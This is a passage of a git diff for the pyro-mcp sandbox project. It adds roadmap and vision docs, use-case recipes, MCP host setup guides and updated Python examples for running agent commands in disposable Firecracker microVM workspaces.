mutate -> diff -> export +- real Firecracker smoke for diff and export diff --git a/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md new file mode 100644 index 0000000..6064fe4 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md @@ -0,0 +1,52 @@ +# `2.7.0` Service Lifecycle And Typed Readiness + +Status: Done + +## Goal + +Make app-style workspaces practical by adding first-class services and typed +readiness checks. + +## Public API Changes + +- CLI: + - `pyro workspace service start` + - `pyro workspace service list` + - `pyro workspace service status` + - `pyro workspace service logs` + - `pyro workspace service stop` +- SDK/MCP mirror the same shape + +Readiness types: + +- file +- TCP +- HTTP +- command as an escape hatch + +## Implementation Boundaries + +- Support multiple named services per workspace from the first release. +- Service state and logs live outside `/workspace`. +- `workspace status` stays aggregate; detailed service inspection lives under + `workspace service ...`. +- Prefer typed readiness in docs/examples instead of shell-heavy readiness + commands. + +## Non-Goals + +- no host-visible port publication yet +- no secrets or auth wiring in this milestone +- no shell/service unification + +## Acceptance Scenarios + +- start two services in one workspace, wait for readiness, inspect logs and + status, then stop them cleanly +- service files do not appear in `workspace diff` or `workspace export` + +## Required Repo Updates + +- cold-start validation example that uses services +- CLI help/examples for typed readiness +- real Firecracker smoke for multi-service start/status/logs/stop diff --git a/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md new file mode 100644 index 0000000..21de48c --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md @@ -0,0 +1,44 @@ +# `2.8.0` Named Snapshots And Reset + +Status: Done + +## Goal + +Turn reset into a first-class workflow primitive and add explicit named +snapshots, not only the implicit create-time baseline. + +## Public API Changes + +- CLI: + - `pyro workspace snapshot create` + - `pyro workspace snapshot list` + - `pyro workspace snapshot delete` + - `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_ID|baseline]` +- SDK/MCP mirrors + +## Implementation Boundaries + +- Baseline snapshot is created automatically at workspace creation. +- Named snapshots are explicit user-created checkpoints. +- `workspace reset` recreates the full sandbox, not just `/workspace`. +- Reset may target either the baseline or a named snapshot. + +## Non-Goals + +- no secrets in this milestone +- no live host-sharing or mount semantics +- no branching/merge workflow on snapshots + +## Acceptance Scenarios + +- mutate workspace, create named snapshot, mutate again, reset to snapshot, + confirm state restoration +- mutate service and `/tmp` state, reset to baseline, confirm full sandbox + recreation +- diff after reset is clean when expected + +## Required Repo Updates + +- docs that teach reset over repair explicitly +- example showing baseline reset and named snapshot reset +- real Firecracker smoke for snapshot create -> mutate -> reset diff --git a/docs/roadmap/task-workspace-ga/2.9.0-secrets.md b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md new file mode 100644 index 0000000..2dd82af --- /dev/null +++ b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md @@ -0,0 +1,43 @@ +# `2.9.0` Secrets + +Status: Done + +## Goal + +Add explicit secrets so workspaces can handle private dependencies, +authenticated startup, and secret-aware shell or exec flows without weakening +the fail-closed sandbox model. + +## Public API Changes + +- `workspace create` gains secrets +- `workspace exec`, `workspace shell open`, and `workspace service start` gain + per-call secret-to-env mapping +- SDK and MCP mirror the same model + +## Implementation Boundaries + +- Support literal secrets and host-file-backed secrets. +- Materialize secrets outside `/workspace`. +- Secret values never appear in status, logs, diffs, or exports. +- Reset recreates secrets from persisted secret material, not from the original + host source path. + +## Non-Goals + +- no post-create secret editing +- no secret listing beyond safe metadata +- no mount-based secret transport + +## Acceptance Scenarios + +- create a workspace with a literal secret and a file-backed secret +- run exec and shell flows with mapped env vars +- start a service that depends on a secret-backed readiness path +- confirm redaction in command, shell, and service output + +## Required Repo Updates + +- docs for private dependency workflows +- explicit redaction tests +- real Firecracker smoke for secret-backed exec or service start diff --git a/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md new file mode 100644 index 0000000..5eb1c93 --- /dev/null +++ b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md @@ -0,0 +1,39 @@ +# `3.0.0` Stable Workspace Product + +Status: Done + +## Goal + +Freeze the workspace-first public contract and promote the product from a +one-shot runner with extras to a stable agent workspace. + +## Public API Changes + +No new capability is required in this milestone. The main change is stability: + +- workspace-first names are the only public contract +- shell, sync, export, diff, services, snapshots, reset, secrets, and network + policy are all part of the stable product surface + +## Implementation Boundaries + +- remove remaining beta/alpha language from workspace docs +- rewrite landing docs so the workspace product is first-class and `pyro run` + is the entry point rather than the center +- lock the stable contract in `docs/public-contract.md` + +## Non-Goals + +- no new secondary tooling +- no job-runner, queue, or CI abstractions + +## Acceptance Scenarios + +- all core vision workflows are documented and runnable from CLI, SDK, and MCP +- the repo no longer presents the workspace model as provisional + +## Required Repo Updates + +- top-level README repositioning around the workspace product +- stable public contract doc for `3.x` +- changelog entry that frames the workspace product as stable diff --git a/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md new file mode 100644 index 0000000..593d71e --- /dev/null +++ b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md @@ -0,0 +1,62 @@ +# `3.1.0` Secondary Disk Tools + +Status: Done + +## Goal + +Add stopped-workspace disk tools the vision explicitly places last, while keeping them secondary +to the stable workspace identity. + +## Public API Changes + +Shipped additions: + +- `pyro workspace stop WORKSPACE_ID` +- `pyro workspace start WORKSPACE_ID` +- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` +- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` +- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]` +- matching Python SDK methods: + - `stop_workspace` + - `start_workspace` + - `export_workspace_disk` + - `list_workspace_disk` + - `read_workspace_disk` +- matching MCP tools: + - `workspace_stop` + - `workspace_start` + - `workspace_disk_export` + - `workspace_disk_list` + - `workspace_disk_read` + +## Implementation Boundaries + +- keep these tools scoped to stopped-workspace inspection, export, and offline workflows +- do not replace shell, exec, services, diff, export, or reset as the main + interaction model +- prefer explicit stopped-workspace or offline semantics +- require guest-backed workspaces for `workspace disk *` +- keep disk export raw ext4 only in this milestone +- scrub runtime-only guest paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and + `/run/pyro-services` before offline inspection or export + +## Non-Goals + +- no drift into generic image tooling identity +- no replacement of workspace-level host crossing +- no disk import +- no disk mutation +- no create-from-disk workflow + +## Acceptance Scenarios + +- inspect or export a stopped workspace disk for offline analysis +- stop a workspace, inspect `/workspace` offline, export raw ext4, then start the same workspace + again without resetting `/workspace` +- verify secret-backed workspaces scrub runtime-only guest paths before stopped-disk inspection + +## Required Repo Updates + +- docs that clearly mark disk tools as secondary +- examples that show when disk tools are faster than a full boot +- real smoke coverage for at least one offline inspection flow diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 54a4375..1b4c125 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -20,6 +20,29 @@ pyro env pull debian:12 If you are validating a freshly published official environment, also verify that the corresponding Docker Hub repository is public. +`PYRO_RUNTIME_BUNDLE_DIR` is a contributor override for validating a locally built runtime bundle. +End-user `pyro env pull` should work without setting it. + +## `pyro run` fails closed before the command executes + +Cause: + +- the bundled runtime cannot boot a guest +- guest boot works but guest exec is unavailable +- you are using a mock or shim runtime path that only supports host compatibility mode + +Fix: + +```bash +pyro doctor +``` + +If you intentionally want host execution for a one-off compatibility run, rerun with: + +```bash +pyro run --allow-host-compat debian:12 -- git --version +``` + ## `pyro run --network` fails before the guest starts Cause: @@ -48,7 +71,8 @@ Cause: Fix: - reinstall the package -- verify `pyro doctor` reports `runtime_ok: true` +- verify `pyro doctor` reports `Runtime: PASS` +- or run `pyro doctor --json` and verify `runtime_ok: true` - if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull` ## Ollama demo exits with tool-call failures diff --git a/docs/use-cases/README.md b/docs/use-cases/README.md new file mode 100644 index 0000000..e471332 --- /dev/null +++ b/docs/use-cases/README.md @@ -0,0 +1,38 @@ +# Workspace Use-Case Recipes + +These recipes turn the chat-host workspace path into five concrete agent flows. +They are the canonical next step after the quickstart in [install.md](../install.md) +or [first-run.md](../first-run.md). + +Run all real guest-backed scenarios locally with: + +```bash +make smoke-use-cases +``` + +Recipe matrix: + +| Use case | Recommended mode | Smoke target | Recipe | +| --- | --- | --- | --- | +| Cold-start repo validation | `cold-start` | `make smoke-cold-start-validation` | [cold-start-repo-validation.md](cold-start-repo-validation.md) | +| Repro plus fix loop | `repro-fix` | `make smoke-repro-fix-loop` | [repro-fix-loop.md](repro-fix-loop.md) | +| Parallel isolated workspaces | `repro-fix` | `make smoke-parallel-workspaces` | [parallel-workspaces.md](parallel-workspaces.md) | +| Unsafe or untrusted code inspection | `inspect` | `make smoke-untrusted-inspection` | [untrusted-inspection.md](untrusted-inspection.md) | +| Review and evaluation workflows | `review-eval` | `make smoke-review-eval` | [review-eval-workflows.md](review-eval-workflows.md) | + +All five recipes use the same real Firecracker-backed smoke runner: + +```bash +uv run python scripts/workspace_use_case_smoke.py --scenario all --environment debian:12 +``` + +That runner generates its own host fixtures, creates real guest-backed workspaces, +verifies the intended flow, exports one concrete result when relevant, and cleans +up on both success and failure. Treat `make smoke-use-cases` as the trustworthy +guest-backed verification path for the advertised workspace workflows. + +For a concise review before exporting, resetting, or handing work off, use: + +```bash +pyro workspace summary WORKSPACE_ID +``` diff --git a/docs/use-cases/cold-start-repo-validation.md b/docs/use-cases/cold-start-repo-validation.md new file mode 100644 index 0000000..763210b --- /dev/null +++ b/docs/use-cases/cold-start-repo-validation.md @@ -0,0 +1,36 @@ +# Cold-Start Repo Validation + +Recommended mode: `cold-start` + +Recommended startup: + +```bash +pyro host connect claude-code --mode cold-start +``` + +Smoke target: + +```bash +make smoke-cold-start-validation +``` + +Use this flow when an agent needs to treat a fresh repo like a new user would: +seed it into a workspace, run the validation script, keep one long-running +process alive, probe it from another command, and export a validation report. + +Chat-host recipe: + +1. Create one workspace from the repo seed. +2. Run the validation command inside that workspace. +3. Start the app as a long-running service with readiness configured. +4. Probe the ready service from another command in the same workspace. +5. Export the validation report back to the host. +6. Delete the workspace when the evaluation is done. + +If the named mode feels too narrow, fall back to the generic no-mode path and +then opt into `--profile workspace-full` only when you truly need the larger +advanced surface. + +This recipe is intentionally guest-local and deterministic. It proves startup, +service readiness, validation, and host-out report capture without depending on +external networks or private registries. diff --git a/docs/use-cases/parallel-workspaces.md b/docs/use-cases/parallel-workspaces.md new file mode 100644 index 0000000..685f6a4 --- /dev/null +++ b/docs/use-cases/parallel-workspaces.md @@ -0,0 +1,32 @@ +# Parallel Isolated Workspaces + +Recommended mode: `repro-fix` + +Recommended startup: + +```bash +pyro host connect codex --mode repro-fix +``` + +Smoke target: + +```bash +make smoke-parallel-workspaces +``` + +Use this flow when the agent needs one isolated workspace per issue, branch, or +review thread and must rediscover the right one later. + +Chat-host recipe: + +1. Create one workspace per issue or branch with a human-friendly name and + labels. +2. Mutate each workspace independently. +3. Rediscover the right workspace later with `workspace_list`. +4. Update metadata when ownership or issue mapping changes. +5. Delete each workspace independently when its task is done. + +The important proof here is operational, not syntactic: names, labels, list +ordering, and file contents stay isolated even when multiple workspaces are +active at the same time. Parallel work still means “open another workspace in +the same mode,” not “pick a special parallel-work mode.” diff --git a/docs/use-cases/repro-fix-loop.md b/docs/use-cases/repro-fix-loop.md new file mode 100644 index 0000000..ad920c5 --- /dev/null +++ b/docs/use-cases/repro-fix-loop.md @@ -0,0 +1,38 @@ +# Repro Plus Fix Loop + +Recommended mode: `repro-fix` + +Recommended startup: + +```bash +pyro host connect codex --mode repro-fix +``` + +Smoke target: + +```bash +make smoke-repro-fix-loop +``` + +Use this flow when the agent has to reproduce a bug, patch files without shell +quoting tricks, rerun the failing command, diff the result, export the fix, and +reset back to baseline. + +Chat-host recipe: + +1. Start the server from the repo root with bare `pyro mcp serve`, or use + `--project-path` if the host does not preserve cwd. +2. Create one workspace from that project-aware server without manually passing + `seed_path`. +3. Run the failing command. +4. Inspect the broken file with structured file reads. +5. Apply the fix with `workspace_patch_apply`. +6. Rerun the failing command in the same workspace. +7. Diff and export the changed result. +8. Reset to baseline and delete the workspace. + +If the mode feels too narrow for the job, fall back to the generic bare +`pyro mcp serve` path. + +This is the main `repro-fix` story: model-native file ops, repeatable exec, +structured diff, explicit export, and reset-over-repair. diff --git a/docs/use-cases/review-eval-workflows.md b/docs/use-cases/review-eval-workflows.md new file mode 100644 index 0000000..4012c34 --- /dev/null +++ b/docs/use-cases/review-eval-workflows.md @@ -0,0 +1,32 @@ +# Review And Evaluation Workflows + +Recommended mode: `review-eval` + +Recommended startup: + +```bash +pyro host connect claude-code --mode review-eval +``` + +Smoke target: + +```bash +make smoke-review-eval +``` + +Use this flow when an agent needs to read a checklist interactively, run an +evaluation script, checkpoint or reset its changes, and export the final report. + +Chat-host recipe: + +1. Create a named snapshot before the review starts. +2. Open a readable PTY shell and inspect the checklist interactively. +3. Run the review or evaluation script in the same workspace. +4. Capture `workspace summary` to review what changed and what to export. +5. Export the final report. +6. Reset back to the snapshot if the review branch goes sideways. +7. Delete the workspace when the evaluation is done. + +This is the stable shell-facing story: readable PTY output for chat loops, +checkpointed evaluation, explicit export, and reset when a review branch goes +sideways. diff --git a/docs/use-cases/untrusted-inspection.md b/docs/use-cases/untrusted-inspection.md new file mode 100644 index 0000000..aab7ada --- /dev/null +++ b/docs/use-cases/untrusted-inspection.md @@ -0,0 +1,29 @@ +# Unsafe Or Untrusted Code Inspection + +Recommended mode: `inspect` + +Recommended startup: + +```bash +pyro host connect codex --mode inspect +``` + +Smoke target: + +```bash +make smoke-untrusted-inspection +``` + +Use this flow when the agent needs to inspect suspicious code or an unfamiliar +repo without granting more capabilities than necessary. + +Chat-host recipe: + +1. Create one workspace from the suspicious repo seed. +2. Inspect the tree with structured file listing and file reads. +3. Run the smallest possible command that produces the inspection report. +4. Export only the report the agent chose to materialize. +5. Delete the workspace when inspection is complete. + +This recipe stays offline-by-default, uses only explicit file reads and execs, +and exports only the inspection report the agent chose to materialize. diff --git a/docs/vision.md b/docs/vision.md new file mode 100644 index 0000000..2192cce --- /dev/null +++ b/docs/vision.md @@ -0,0 +1,199 @@ +# Vision + +`pyro-mcp` should become the disposable MCP workspace for chat-based coding +agents. + +That is a different product from a generic VM wrapper, a secure CI runner, or +an SDK-first platform. + +`pyro-mcp` currently has no users. That means we can still make breaking +changes freely while we shape the chat-host path into the right product. + +## Core Thesis + +The goal is not just to run one command in a microVM. + +The goal is to give a chat-hosted coding agent a bounded workspace where it can: + +- inspect a repo +- install dependencies +- edit files +- run tests +- start and inspect services +- reset and retry +- export patches and artifacts +- destroy the sandbox when the task is done + +The sandbox is the execution boundary for agentic software work. + +## Current Product Focus + +The product path should be obvious and narrow: + +- Claude Code +- Codex +- OpenCode +- Linux `x86_64` with KVM + +The happy path is: + +1. prove the host with the terminal companion commands +2. run `pyro mcp serve` +3. connect a chat host +4. work through one disposable workspace per task + +The repo can contain lower-level building blocks, but they should not drive the +product story. + +## What This Is Not + +`pyro-mcp` should not drift into: + +- a YAML pipeline system +- a build farm +- a generic CI job runner +- a scheduler or queueing platform +- a broad VM orchestration product +- an SDK product that happens to have an MCP server on the side + +Those products optimize for queued work, throughput, retries, matrix builds, or +library ergonomics. + +`pyro-mcp` should optimize for agent loops: + +- explore +- edit +- test +- observe +- reset +- export + +## Why This Can Look Like CI + +Any sandbox product starts to look like CI if the main abstraction is: + +- submit a command +- wait +- collect logs +- fetch artifacts + +That shape is useful, but it is not the center of the vision. + +To stay aligned, the primary abstraction should be a workspace the agent +inhabits from a chat host, not a job the agent submits to a runner. + +## Product Principles + +### Chat Hosts First + +The product should be shaped around the MCP path used from chat interfaces. +Everything else is there to support, debug, or build that path. + +### Workspace-First + +The default mental model should be "open a disposable workspace" rather than +"enqueue a task". + +### Stateful Interaction + +The product should support repeated interaction in one sandbox. One-shot command +execution matters, but it is the entry point, not the destination. + +### Explicit Host Crossing + +Anything that crosses the host boundary should be intentional and visible: + +- seeding a workspace +- syncing changes in +- exporting artifacts out +- granting secrets or network access + +### Reset Over Repair + +Agents should be able to checkpoint, reset, and retry cheaply. Disposable state +is a feature, not a limitation. + +### Agent-Native Observability + +The sandbox should expose the things an agent actually needs to reason about: + +- command output +- file diffs +- service status +- logs +- readiness +- exported results + +## The Shape Of The Product + +The strongest direction is a small chat-facing contract built around: + +- one MCP server +- one disposable workspace model +- structured file inspection and edits +- repeated commands in the same sandbox +- service lifecycle when the workflow needs it +- reset as a first-class workflow primitive + +Representative primitives: + +- `workspace.create` +- `workspace.status` +- `workspace.delete` +- `workspace.sync_push` +- `workspace.export` +- `workspace.diff` +- `workspace.reset` +- `workspace.exec` +- `shell.open` +- `shell.read` +- `shell.write` +- `service.start` +- `service.status` +- `service.logs` + +These names are illustrative, not a promise that every lower-level repo surface +should be treated as equally stable or equally important. + +## Interactive Shells And Disk Operations + +Interactive shells are aligned with the vision because they make the agent feel +present inside the sandbox rather than reduced to one-shot job submission. + +They should remain subordinate to the workspace model, not replace it with a +raw SSH story. + +Disk-level operations are useful for: + +- fast workspace seeding +- snapshotting +- offline inspection +- export/import without a full boot + +They should remain supporting tools rather than the product identity. + +## What To Build Next + +Features should keep reinforcing the chat-host path in this order: + +1. make the first chat-host setup painfully obvious +2. make the recipe-backed workflows feel trivial from chat +3. keep the smoke pack trustworthy enough to gate the advertised stories +4. keep the terminal companion path good enough to debug what the chat sees +5. let lower-level repo surfaces move freely when the chat-host product needs it + +The completed workspace GA roadmap lives in +[roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md). + +The follow-on milestones that make the chat-host path clearer live in +[roadmap/llm-chat-ergonomics.md](roadmap/llm-chat-ergonomics.md). + +## Litmus Test + +When evaluating a new feature, ask: + +"Does this make Claude Code, Codex, or OpenCode feel more natural and powerful +when they work inside a disposable sandbox?" + +If the better description is "it helps build a broader VM toolkit or SDK", it +is probably pushing the product in the wrong direction. diff --git a/examples/agent_vm_run.py b/examples/agent_vm_run.py index 15dae9d..0079ef5 100644 --- a/examples/agent_vm_run.py +++ b/examples/agent_vm_run.py @@ -6,6 +6,13 @@ import json from typing import Any from pyro_mcp import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) VM_RUN_TOOL: dict[str, Any] = { "name": "vm_run", @@ -20,8 +27,9 @@ VM_RUN_TOOL: dict[str, Any] = { "timeout_seconds": {"type": "integer", "default": 30}, "ttl_seconds": {"type": "integer", "default": 600}, "network": {"type": "boolean", "default": False}, + "allow_host_compat": {"type": "boolean", "default": False}, }, - "required": ["environment", "command", "vcpu_count", "mem_mib"], + "required": ["environment", "command"], }, } @@ -31,11 +39,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]: return pyro.run_in_vm( environment=str(arguments["environment"]), command=str(arguments["command"]), - vcpu_count=int(arguments["vcpu_count"]), - mem_mib=int(arguments["mem_mib"]), - timeout_seconds=int(arguments.get("timeout_seconds", 30)), - ttl_seconds=int(arguments.get("ttl_seconds", 600)), + vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)), + mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)), + timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)), + ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)), network=bool(arguments.get("network", False)), + allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), ) @@ -43,8 +52,6 @@ def main() -> None: tool_arguments: dict[str, Any] = { "environment": "debian:12", "command": "git --version", - "vcpu_count": 1, - "mem_mib": 1024, "timeout_seconds": 30, "network": False, } diff --git a/examples/claude_code_mcp.md b/examples/claude_code_mcp.md new file mode 100644 index 0000000..de9931c --- /dev/null +++ b/examples/claude_code_mcp.md @@ -0,0 +1,52 @@ +# Claude Code MCP Setup + +Recommended modes: + +- `cold-start` +- `review-eval` + +Preferred helper flow: + +```bash +pyro host connect claude-code --mode cold-start +pyro host connect claude-code --mode review-eval +pyro host doctor --mode cold-start +``` + +Package without install: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start +claude mcp list +``` + +Run that from the repo root when you want the first `workspace_create` to start +from the current checkout automatically. + +Already installed: + +```bash +claude mcp add pyro -- pyro mcp serve --mode cold-start +claude mcp list +``` + +If Claude Code launches the server from an unexpected cwd, pin the project +explicitly: + +```bash +pyro host connect claude-code --mode cold-start --project-path /abs/path/to/repo +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo +``` + +If the local config drifts later: + +```bash +pyro host repair claude-code --mode cold-start +``` + +Move to `workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full +``` diff --git a/examples/codex_mcp.md b/examples/codex_mcp.md new file mode 100644 index 0000000..53f3c7b --- /dev/null +++ b/examples/codex_mcp.md @@ -0,0 +1,52 @@ +# Codex MCP Setup + +Recommended modes: + +- `repro-fix` +- `inspect` + +Preferred helper flow: + +```bash +pyro host connect codex --mode repro-fix +pyro host connect codex --mode inspect +pyro host doctor --mode repro-fix +``` + +Package without install: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix +codex mcp list +``` + +Run that from the repo root when you want the first `workspace_create` to start +from the current checkout automatically. + +Already installed: + +```bash +codex mcp add pyro -- pyro mcp serve --mode repro-fix +codex mcp list +``` + +If Codex launches the server from an unexpected cwd, pin the project +explicitly: + +```bash +pyro host connect codex --mode repro-fix --project-path /abs/path/to/repo +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo +``` + +If the local config drifts later: + +```bash +pyro host repair codex --mode repro-fix +``` + +Move to `workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full +``` diff --git a/examples/langchain_vm_run.py b/examples/langchain_vm_run.py index 51208e9..dc73506 100644 --- a/examples/langchain_vm_run.py +++ b/examples/langchain_vm_run.py @@ -13,6 +13,13 @@ import json from typing import Any, Callable, TypeVar, cast from pyro_mcp import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) F = TypeVar("F", bound=Callable[..., Any]) @@ -21,11 +28,12 @@ def run_vm_run_tool( *, environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> str: pyro = Pyro() result = pyro.run_in_vm( @@ -36,6 +44,7 @@ def run_vm_run_tool( timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) return json.dumps(result, sort_keys=True) @@ -55,12 +64,13 @@ def build_langchain_vm_run_tool() -> Any: def vm_run( environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, - ) -> str: + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> str: """Run one command in an ephemeral Firecracker VM and clean it up.""" return run_vm_run_tool( environment=environment, @@ -70,6 +80,7 @@ def build_langchain_vm_run_tool() -> Any: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) return vm_run diff --git a/examples/mcp_client_config.md b/examples/mcp_client_config.md index 9d47ffc..f4de5f0 100644 --- a/examples/mcp_client_config.md +++ b/examples/mcp_client_config.md @@ -1,5 +1,31 @@ # MCP Client Config Example +Recommended named modes for most chat hosts in `4.x`: + +- `repro-fix` +- `inspect` +- `cold-start` +- `review-eval` + +Use the host-specific examples first when they apply: + +- Claude Code: [examples/claude_code_mcp.md](claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](opencode_mcp_config.json) + +Preferred repair/bootstrap helpers: + +- `pyro host connect codex --mode repro-fix` +- `pyro host connect codex --mode inspect` +- `pyro host connect claude-code --mode cold-start` +- `pyro host connect claude-code --mode review-eval` +- `pyro host print-config opencode --mode repro-fix` +- `pyro host doctor --mode repro-fix` +- `pyro host repair opencode --mode repro-fix` + +Use this generic config only when the host expects a plain `mcpServers` JSON +shape or when the named modes are too narrow for the workflow. + `pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI. Generic stdio MCP configuration using `uvx`: @@ -9,7 +35,7 @@ Generic stdio MCP configuration using `uvx`: "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] } } } @@ -22,19 +48,32 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi "mcpServers": { "pyro": { "command": "pyro", - "args": ["mcp", "serve"] + "args": ["mcp", "serve", "--mode", "repro-fix"] } } } ``` -Primary tool for most agents: +If the host does not preserve the server working directory and you want the +first `workspace_create` to start from a specific checkout, add +`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same args list. -- `vm_run` +Mode progression: + +- `repro-fix`: patch, rerun, diff, export, reset +- `inspect`: narrow offline-by-default inspection +- `cold-start`: validation plus service readiness +- `review-eval`: shell and snapshot-driven review +- generic no-mode path: the fallback when the named mode is too narrow +- `workspace-full`: explicit advanced opt-in for shells, services, snapshots, secrets, network policy, and disk tools + +Primary mode for most agents: + +- `repro-fix` Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls. -Concrete client-specific examples: +Other generic-client examples: - Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json) - Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json) diff --git a/examples/openai_responses_vm_run.py b/examples/openai_responses_vm_run.py index f40f860..fb8ca37 100644 --- a/examples/openai_responses_vm_run.py +++ b/examples/openai_responses_vm_run.py @@ -15,6 +15,13 @@ import os from typing import Any from pyro_mcp import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) DEFAULT_MODEL = "gpt-5" @@ -33,8 +40,9 @@ OPENAI_VM_RUN_TOOL: dict[str, Any] = { "timeout_seconds": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, + "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "command", "vcpu_count", "mem_mib"], + "required": ["environment", "command"], "additionalProperties": False, }, } @@ -45,11 +53,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]: return pyro.run_in_vm( environment=str(arguments["environment"]), command=str(arguments["command"]), - vcpu_count=int(arguments["vcpu_count"]), - mem_mib=int(arguments["mem_mib"]), - timeout_seconds=int(arguments.get("timeout_seconds", 30)), - ttl_seconds=int(arguments.get("ttl_seconds", 600)), + vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)), + mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)), + timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)), + ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)), network=bool(arguments.get("network", False)), + allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), ) @@ -88,7 +97,7 @@ def main() -> None: model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL) prompt = ( "Use the vm_run tool to run `git --version` in an ephemeral VM. " - "Use the `debian:12` environment with 1 vCPU and 1024 MiB of memory. " + "Use the `debian:12` environment. " "Do not use networking for this request." ) print(run_openai_vm_run_example(prompt=prompt, model=model)) diff --git a/examples/openai_responses_workspace_core.py b/examples/openai_responses_workspace_core.py new file mode 100644 index 0000000..1c83551 --- /dev/null +++ b/examples/openai_responses_workspace_core.py @@ -0,0 +1,90 @@ +"""Canonical OpenAI Responses API integration centered on workspace-core. + +Requirements: +- `pip install openai` or `uv add openai` +- `OPENAI_API_KEY` + +This is the recommended persistent-chat example. In 4.x the default MCP server +profile is already `workspace-core`, so it derives tool schemas from +`Pyro.create_server()` and dispatches tool calls back through that same +default-profile server. +""" + +from __future__ import annotations + +import asyncio +import json +import os +from typing import Any, cast + +from pyro_mcp import Pyro + +DEFAULT_MODEL = "gpt-5" + + +def _tool_to_openai(tool: Any) -> dict[str, Any]: + 